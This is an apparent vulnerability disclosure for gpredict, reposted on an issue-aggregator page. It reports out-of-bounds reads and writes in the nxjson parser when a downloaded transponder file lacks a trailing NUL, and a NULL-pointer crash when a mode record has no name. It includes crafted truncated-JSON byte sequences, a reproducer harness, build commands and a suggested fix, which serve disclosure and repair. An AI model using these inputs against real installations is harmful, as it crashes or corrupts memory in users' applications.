Heap out-of-bounds read/write in gpredict transponder update (missing NUL after JSON load)
还没有人认领这个 Issue。
评估
- 难度
- 4/5
- 预计耗时
- 3-5 天
- 新手友好度
- 78/100
- Issue 类型
- 缺陷
- 描述清晰度
- 描述清楚
- 活跃度
- 活跃
- 技术栈
- c, json
- 领域
- desktop-dev, security
调研方向
Start with trsp_update_files() in src/trsp-update.c, then trace the length-unaware parsing and unescape logic in src/nxjson/nxjson.c; lab/nxjson_oob.c provides a standalone reproducer and build commands. Confirm both the exact-size JSON buffer behavior and the missing name path. Done means truncated strings, numbers, keywords, and escapes stay within bounds, malformed mode records without string fields are handled safely, and valid updates still parse.
由索引模型根据 Issue 内容生成。
描述
Summary
After the user runs Update transponders, gpredict writes the downloaded body to disk and parses it with nx_json_parse(). The file is loaded with g_malloc(file_size) and fread() of exactly file_size bytes. The buffer is not allocated as file_size + 1, and no trailing '\0' is written.
nx_json_parse() does not take a length. Strings, numbers, and the keywords true / false / null keep reading until they see a NUL or a character that ends the token. If the body is cut off inside one of those tokens and that cut sits on the end of the allocation, the parser reads the byte after the object. If that byte is a quote or the second byte of a backslash escape, it also writes past the object.
A complete document that already ends on ] does not do this. I checked that case on the same harness.
Startup does not fetch transponders. The request leaves certificate verification on and does not set CURLOPT_FOLLOWLOCATION. This build has no listener, and I did not find system, popen, or g_spawn on this path. The bug runs as the user who clicked the update. I did not obtain instruction-pointer control. The byte that gets written is taken from whatever already sits after the allocation.
The same function also crashes if a mode object has no "name" string. That one is a NULL dereference, described at the end.
What has to be true to hit it
trsp_update_from_network() (around line 685) calls trsp_update_files() only after a download returns a body. Default URLs, from src/sat-cfg.c lines 228–230:
https://db.satnogs.org/api/modes/?format=jsonhttps://db.satnogs.org/api/transmitters/?format=json
The same parser runs on modes.json and transmitters.json already stored under the user config directory. The body has to be truncated inside a string, a number, or a keyword, with that token reaching the last byte of the file. A well-formed document is not enough.
Code
src/trsp-update.c, trsp_update_files(), modes file (transmitters is the same pattern at lines 247–258):
mfplen = flen;
rewind(mfp);
jsn_object = g_malloc(mfplen);
result = fread(jsn_object, mfplen, 1, mfp);
if (result == 1) {
const nx_json *json = nx_json_parse(jsn_object, 0);
src/nxjson/nxjson.c:
unescape_string()line 104:while ((c = *p++))with no remaining-length check- line 106: a
"does*d = '\0'at whatever addressdhas reached - line 111: a
\reads one more byte;n/t/ … then store a decoded byte throughd - line 171: any other byte is copied with
*d++ = c, which movesdforward even whenphas already left the buffer parse_value()line 284:strtoll(p, &pe, 0)- line 303:
strncmp(p, "true", 4)(same for"false"/"null")
Local reproduction
I did not link GTK, so this is not a click-through of the gpredict window, and I did not send these bodies to db.satnogs.org. The parser binary is the repository file src/nxjson/nxjson.c with no edits. The driver copies the allocation in trsp_update_files(): malloc(n), memcpy of n bytes, nx_json_parse(buf, 0), no extra NUL.
Guard-page runs use the system allocator interposer:
/usr/lib/libgmalloc.dylib
libgmalloc places each malloc on its own page, so a read of buf[n] faults at the first address after the object. The write tests use mmap of two anonymous pages and put a 32-byte buffer on the last 32 bytes of the first page, so the next bytes are readable and writable. That stands in for a live heap neighbor. It is not a guess about glibc chunk layout.
Build
clang -O0 -g -std=c11 -I src/nxjson \
lab/nxjson_oob.c src/nxjson/nxjson.c -o /tmp/nxjson_oob
arm64 write checks:
clang -arch arm64 -O2 -g -std=c11 -I src/nxjson \
lab/nxjson_oob.c src/nxjson/nxjson.c -o /tmp/nxjson_oob_arm
1. Control — complete document, no read past the object
Bytes loaded into malloc(9) (this is the whole buffer; nothing follows inside the allocation):
0000 5b 7b 22 61 22 3a 31 7d 5d [{"a":1}]
DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib /tmp/nxjson_oob control
control malloc(9) parse=object
Exit status 0. The parser returned an object and did not fault.
2. Unclosed string — read of the first byte after the object
48-byte body. First 7 bytes are the token start, the other 41 bytes are 0x41. There is no closing quote inside the allocation:
0000 5b 7b 22 64 22 3a 22 41 41 41 41 41 41 41 41 41 [{"d":"AAAAAAAAA
0010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib /tmp/nxjson_oob string
string malloc(48) FAULT sig=11 addr=0x10bd94000 buf=0x10bd93fd0 end=0x10bd94000
addr - end = 0. 0x10bd93fd0 + 48 = 0x10bd94000. SIGSEGV is raised on the first byte the allocator did not hand out.
3. Truncated number
11-byte body, last byte is the digit 5, no terminator inside the object:
0000 5b 7b 22 61 22 3a 31 32 33 34 35 [{"a":12345
strtoll() walks past that digit. Under the same libgmalloc setup the fault address minus the end of the buffer is 0.
4. Truncated keyword
10-byte body. The last in-bounds bytes are t r u. strncmp(p, "true", 4) still compares 4 bytes:
0000 5b 7b 22 61 22 3a 74 72 75 [{"a":tru
Same allocator, same result: fault address equals the first byte after the allocation.
5. Out-of-bounds write — the byte after the object is a quote
32-byte buffer parked at the end of a page (mmap, next page left PROT_READ|PROT_WRITE). In-bounds bytes:
0000 5b 7b 22 64 22 3a 22 41 41 41 41 41 41 41 41 41 [{"d":"AAAAAAAAA
0010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Bytes I placed on the next page before nx_json_parse():
offset 32 22 5d 7d 00 "]}
unescape_string() treats offset 32 as the closing quote and executes *d = '\0' there.
/tmp/nxjson_oob quote
quote before neighbor[0]=0x22
quote after neighbor[0]=0x00
0x22 was stored as 0x00. Repeated with clang -arch arm64 -O2. Same store.
6. Out-of-bounds write — last in-bounds byte is a backslash
Same 32-byte page-end buffer. Byte 31 (last in-bounds) set to 0x5c. Next page before the call:
offset 31 5c \
offset 32 6e 58 00 nX
The \ is in bounds. The n and the following X are not. Handling the escape consumes n and then the normal-character arm copies the next byte back through d, which has already moved onto the next page.
/tmp/nxjson_oob escape
escape before neighbor[0]=0x6e neighbor[1]=0x58
escape after neighbor[0]=0x58 neighbor[1]=0x58
neighbor[0] changed from 0x6e (n) to 0x58 (X). The parser error report also printed those XX bytes, so the %s used for the error walks off the allocation as well. Same result with arm64 -O2.
The value written is whatever byte already followed the buffer (0x22 becomes 0x00, 0x6e becomes the following 0x58). It is not an arbitrary byte taken from the JSON text, and this run did not redirect the instruction pointer. On a guard page the same inputs crash instead of writing. On a live heap the neighbor is whatever g_malloc happened to place next.
Driver
lab/nxjson_oob.c, compiled against the untouched src/nxjson/nxjson.c from that commit. The three entries below are the ones that produced the logs above.
static int parse_exact(const char *bytes, size_t n, const char *tag)
{
char *buf = malloc(n); /* same shape as g_malloc(mfplen) */
memcpy(buf, bytes, n); /* no buf[n] = 0 */
if (sigsetjmp(jb, 1) == 0) {
const nx_json *js = nx_json_parse(buf, 0);
printf("%s malloc(%zu) parse=%s\n", tag, n, js ? "object" : "NULL");
...
}
printf("%s malloc(%zu) FAULT sig=%d addr=%p buf=%p end=%p\n",
tag, n, fault_sig, fault_addr, (void *)buf, (void *)(buf + n));
}
/* quote: 32-byte buffer at end of page, next byte is 0x22 */
after[0] = '"'; after[1] = ']'; after[2] = '}'; after[3] = 0;
nx_json_parse(buf, 0); /* after[0] becomes 0x00 */
/* escape: last in-bounds byte is '\\', next bytes are 'n','X' */
buf[n - 1] = '\\';
after[0] = 'n'; after[1] = 'X'; after[2] = 0;
nx_json_parse(buf, 0); /* after[0] becomes 0x58 */
Related crash in the same function
nx_json_get() (lines 364–370) returns a static dummy when the key is absent. dummy is static const nx_json dummy = { NX_JSON_NULL }, so text_value is NULL. It does not return a C null pointer. The caller still does:
strncpy(m_modes.name, nx_json_get(json_obj, "name")->text_value, 79);
description at line 271 is the same call. A complete document is enough:
0000 5b 7b 22 69 64 22 3a 31 7d 5d [{"id":1}]
char raw[] = "[{\"id\":1}]";
const nx_json *name = nx_json_get(nx_json_item(nx_json_parse(raw, 0), 0), "name");
char dst[80];
strncpy(dst, name->text_value, 79); /* text_value == NULL */
Built with clang -arch arm64 -O2. The disassembly still contains bl _strncpy. Process exit status 139. This is a crash at address 0, not a write of attacker-chosen data.
Suggested fix
- Allocate
mfplen + 1and set the last byte to0beforenx_json_parse(). - Before each
strncpy, require a string node whosetext_valueis non-NULL. Drop the record otherwise. Apply that to bothnameanddescription. - Give
nxjsonthe caller’s end pointer, and stopunescape_string,strtoll, andstrncmpat that end.
Credit
Found and reproduced locally against commit da7243fe7aaa14b20782d127b0fa5bd3c21e2dfe. The logs above are from that run.
- 主要语言
- C
- 星标
- 1.2k
- 派生
- 305
- 平均合并
- 8 小时 48 分钟
- 30 天内合并 PR
- 3
环境准备
- 没有 Dockerfile 或 Docker Compose 文件
- 没有 Pull Request 模板
- 阅读贡献指南
从这里开始
- 先读完整个 Issue,再读项目的贡献指南。
- 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
- Fork 仓库,在一个分支上完成修改。
- 提交 Pull Request,并在描述里引用这个 Issue 编号。
csete/gpredict 的其他 Issue
-
难度 2/5 1-3 小时 新手友好度 82/100
-
bug
难度 2/5 1-3 小时 新手友好度 76/100
-
难度 2/5 1 小时以内 新手友好度 60/100
-
难度 2/5 1-3 小时 新手友好度 68/100
-
rotator
难度 4/5 3-5 天 新手友好度 30/100
相似的 Issue
-
难度 1/5 1 小时以内 新手友好度 91/100
FujiNetWIFI/fujinet-firmware#2045 ·
维护者通常 1 天内回复
-
难度 2/5 1-3 小时 新手友好度 70/100
OpenPrinting/cups#1772 ·
维护者通常 1 天内回复
-
难度 2/5 1-3 小时 新手友好度 88/100
snowballstem/snowball#311 ·
-
tech-debt
难度 2/5 1-3 小时 新手友好度 78/100
维护者通常 1 天内回复
-
难度 2/5 1-3 小时 新手友好度 68/100
维护者通常 1 天内回复